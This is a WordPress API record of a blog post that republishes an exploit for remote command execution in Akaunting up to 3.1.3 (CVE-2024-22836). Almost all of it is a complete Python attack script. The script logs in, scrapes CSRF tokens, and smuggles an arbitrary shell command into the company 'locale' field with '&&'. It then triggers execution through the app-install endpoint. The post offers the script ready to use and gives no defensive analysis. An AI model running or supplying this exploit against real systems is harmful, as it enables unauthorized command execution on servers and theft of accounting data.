{"id":55293,"date":"2024-03-11T20:09:36","date_gmt":"2024-03-11T17:09:36","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177517\/akaunting3-exec.txt"},"modified":"2024-03-12T10:59:30","modified_gmt":"2024-03-12T07:29:30","slug":"akaunting-3-1-3-remote-command-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/akaunting-3-1-3-remote-command-execution\/","title":{"rendered":"Akaunting 3.1.3 Remote Command Execution"},"content":{"rendered":"<p style=\"text-align: left;\"># Exploit Title: Akaunting &lt; 3.1.3 &#8211; RCE<br \/>\n# Date: 08\/02\/2024<br \/>\n# Exploit Author: u32i@proton.me<br \/>\n# Vendor Homepage: https:\/\/akaunting.com<br \/>\n# Software Link: https:\/\/github.com\/akaunting\/akaunting<br \/>\n# Version: &lt;= 3.1.3<br \/>\n# Tested on: Ubuntu (22.04)<br \/>\n# CVE : CVE-2024-22836<\/p>\n<p style=\"text-align: left;\">#!\/usr\/bin\/python3<\/p>\n<p style=\"text-align: left;\">import sys<br \/>\nimport re<br \/>\nimport requests<br \/>\nimport argparse<\/p>\n<p style=\"text-align: left;\">def get_company():<br \/>\n# print(&#8220;[INF] Retrieving company id&#8230;&#8221;)<br \/>\nres = requests.get(target, headers=headers, cookies=cookies, allow_redirects=False)<br \/>\nif res.status_code != 302:<br \/>\nprint(&#8220;[ERR] No company id was found!&#8221;)<br \/>\nsys.exit(3)<br \/>\ncid = res.headers[&#8216;Location&#8217;].split(&#8216;\/&#8217;)[-1]\nif cid == &#8220;login&#8221;:<br \/>\nprint(&#8220;[ERR] Invalid session cookie!&#8221;)<br \/>\nsys.exit(7)<br \/>\nreturn cid<\/p>\n<p style=\"text-align: left;\">def get_tokens(url):<br \/>\nres = requests.get(url, headers=headers, cookies=cookies, allow_redirects=False)<br \/>\nsearch_res = re.search(r&#8221;\\&#8221;csrfToken\\&#8221;\\:\\&#8221;.*\\&#8221;&#8221;, res.text)<\/p>\n<p style=\"text-align: left;\">if not search_res:<br \/>\nprint(&#8220;[ERR] Couldn&#8217;t get csrf token&#8221;)<br \/>\nsys.exit(1)<\/p>\n<p style=\"text-align: left;\">data = {}<br \/>\ndata[&#8216;csrf_token&#8217;] = search_res.group().split(&#8216;:&#8217;)[-1:][0].replace(&#8216;&#8221;&#8216;, &#8221;)<br \/>\ndata[&#8216;session&#8217;] = res.cookies.get(&#8216;akaunting_session&#8217;)<br \/>\nreturn data<\/p>\n<p style=\"text-align: left;\">def inject_command(cmd):<br \/>\nurl = f&#8221;{target}\/{company_id}\/wizard\/companies&#8221;<br \/>\ntokens = get_tokens(url)<br \/>\nheaders.update({&#8220;X-Csrf-Token&#8221;: tokens[&#8216;csrf_token&#8217;]})<br \/>\ndata = {&#8220;_token&#8221;: tokens[&#8216;csrf_token&#8217;], &#8220;_method&#8221;: &#8220;POST&#8221;, &#8220;_prefix&#8221;: &#8220;company&#8221;, &#8220;locale&#8221;: f&#8221;en_US &amp;&amp; {cmd}&#8221;}<br \/>\nres = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)<br \/>\nif res.status_code == 200:<br \/>\nres_data = res.json()<br \/>\nif res_data[&#8216;error&#8217;]:<br \/>\nprint(&#8220;[ERR] Command injection failed!&#8221;)<br \/>\nsys.exit(4)<br \/>\nprint(&#8220;[INF] Command injected!&#8221;)<\/p>\n<p style=\"text-align: left;\">def trigger_rce(app, version = &#8220;1.0.0&#8221;):<br \/>\nprint(&#8220;[INF] Executing the command&#8230;&#8221;)<br \/>\nurl = f&#8221;{target}\/{company_id}\/apps\/install&#8221;<br \/>\ndata = {&#8220;alias&#8221;: app, &#8220;version&#8221;: version, &#8220;path&#8221;: f&#8221;apps\/{app}\/download&#8221;}<br \/>\nheaders.update({&#8220;Content-Type&#8221;:&#8221;application\/json&#8221;})<br \/>\nres = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)<br \/>\nif res.status_code == 200:<br \/>\nres_data = res.json()<br \/>\nif res_data[&#8216;error&#8217;]:<br \/>\nsearch_res = re.search(r&#8221;&gt;Exit Code\\:.*&lt;&#8220;, res_data[&#8216;message&#8217;])<br \/>\nif search_res:<br \/>\nprint(&#8220;[ERR] Failed to execute the command&#8221;)<br \/>\nsys.exit(6)<br \/>\nprint(&#8220;[ERR] Failed to install the app! no command was executed!&#8221;)<br \/>\nsys.exit(5)<br \/>\nprint(&#8220;[INF] Executed successfully!&#8221;)<\/p>\n<p style=\"text-align: left;\">def login(email, password):<br \/>\nurl = f&#8221;{target}\/auth\/login&#8221;<br \/>\ntokens = get_tokens(url)<\/p>\n<p style=\"text-align: left;\">cookies.update({<br \/>\n&#8216;akaunting_session&#8217;: tokens[&#8216;session&#8217;]\n})<\/p>\n<p style=\"text-align: left;\">data = {<br \/>\n&#8220;_token&#8221;: tokens[&#8216;csrf_token&#8217;],<br \/>\n&#8220;_method&#8221;: &#8220;POST&#8221;,<br \/>\n&#8220;email&#8221;: email,<br \/>\n&#8220;password&#8221;: password<br \/>\n}<\/p>\n<p style=\"text-align: left;\">req = requests.post(url, headers=headers, cookies=cookies, data=data)<br \/>\nres = req.json()<br \/>\nif res[&#8216;error&#8217;]:<br \/>\nprint(&#8220;[ERR] Failed to log in!&#8221;)<br \/>\nsys.exit(8)<\/p>\n<p style=\"text-align: left;\">print(&#8220;[INF] Logged in&#8221;)<br \/>\ncookies.update({&#8216;akaunting_session&#8217;: req.cookies.get(&#8216;akaunting_session&#8217;)})<\/p>\n<p style=\"text-align: left;\">def main():<br \/>\ninject_command(args.command)<br \/>\ntrigger_rce(args.alias, args.version)<\/p>\n<p style=\"text-align: left;\">if __name__==&#8217;__main__&#8217;:<br \/>\nparser = argparse.ArgumentParser()<br \/>\nparser.add_argument(&#8220;-u&#8221;, &#8220;&#8211;url&#8221;, help=&#8221;target url&#8221;)<br \/>\nparser.add_argument(&#8220;&#8211;email&#8221;, help=&#8221;user login email.&#8221;)<br \/>\nparser.add_argument(&#8220;&#8211;password&#8221;, help=&#8221;user login password.&#8221;)<br \/>\nparser.add_argument(&#8220;-i&#8221;, &#8220;&#8211;id&#8221;, type=int, help=&#8221;company id (optional).&#8221;)<br \/>\nparser.add_argument(&#8220;-c&#8221;, &#8220;&#8211;command&#8221;, help=&#8221;command to execute.&#8221;)<br \/>\nparser.add_argument(&#8220;-a&#8221;, &#8220;&#8211;alias&#8221;, help=&#8221;app alias, default: paypal-standard&#8221;, default=&#8221;paypal-standard&#8221;)<br \/>\nparser.add_argument(&#8220;-av&#8221;, &#8220;&#8211;version&#8221;, help=&#8221;app version, default: 3.0.2&#8243;, default=&#8221;3.0.2&#8243;)<\/p>\n<p style=\"text-align: left;\">args = parser.parse_args()<\/p>\n<p style=\"text-align: left;\">headers = {&#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/105.0.5195.102 Safari\/537.36&#8221;}<br \/>\ncookies = {}<br \/>\ntarget = args.url<\/p>\n<p style=\"text-align: left;\">try:<br \/>\nlogin(args.email, args.password)<br \/>\ncompany_id = get_company() if not args.id else args.id<br \/>\nmain()<br \/>\nexcept:<br \/>\nsys.exit(0)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Akaunting &lt; 3.1.3 &#8211; RCE # Date: 08\/02\/2024 # Exploit Author: u32i@proton.me # Vendor Homepage: https:\/\/akaunting.com # Software Link: https:\/\/github.com\/akaunting\/akaunting # Version: &lt;= 3.1.3 # Tested on: Ubuntu (22.04) # CVE : CVE-2024-22836 #!\/usr\/bin\/python3 import sys import re import requests import argparse def get_company(): # print(&#8220;[INF] Retrieving company id&#8230;&#8221;) res = requests.get(target, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-55293","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55293","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=55293"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55293\/revisions"}],"predecessor-version":[{"id":55299,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55293\/revisions\/55299"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=55293"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=55293"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=55293"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}